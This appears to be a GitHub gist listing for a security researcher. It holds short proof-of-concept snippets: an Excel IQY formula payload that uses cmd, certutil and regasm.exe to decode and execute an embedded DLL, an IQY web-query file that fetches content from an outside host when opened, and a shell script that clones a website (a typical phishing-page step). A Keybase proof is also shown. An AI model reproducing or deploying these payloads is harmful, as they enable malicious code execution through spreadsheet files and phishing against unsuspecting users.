Skip to content

Instantly share code, notes, and snippets.

💭
# > $

Mr.Un1k0d3r Mr-Un1k0d3r

💭
# > $
Block or report user

Report or block Mr-Un1k0d3r

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@Mr-Un1k0d3r
Mr-Un1k0d3r / remote.iqy
Last active Feb 1, 2019
IQY File Remote Payload POC
View remote.iqy
=cmd|' /c more /E +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex %temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1'
@Mr-Un1k0d3r
Mr-Un1k0d3r / poc.iqy
Created Aug 1, 2018
IQY File + Embedded DLL POC
View poc.iqy
WEB
1
https://ringzer0team.com/IQY
Selection=EntirePage
Formatting=RTF
PreFormattedTextToColumns=True
ConsecutiveDelimitersAsOne=True
SingleBlockTextImport=False
DisableDateRecognition=False
@Mr-Un1k0d3r
Mr-Un1k0d3r / cloning.sh
Created Nov 7, 2017
Lazy website cloning
View cloning.sh
#!/bin/bash
echo "Cloning $1"
wget $1 -O index.html &> /dev/null
TAG="<base href=\"$1\"/></head>"
sed '/<\/head>/i\'"$TAG" index.html | tee index.html &> /dev/null
echo "index.html was saved and modified"
View keybase.md

Keybase proof

I hereby claim:

  • I am Mr-Un1k0d3r on github.
  • I am mrun1k0d3r (https://keybase.io/mrun1k0d3r) on keybase.
  • I have a public key whose fingerprint is B6EC B08B 2E02 722D 719E F173 83C5 5463 945D 2EA6

To claim this, I am signing this object:

You can’t perform that action at this time.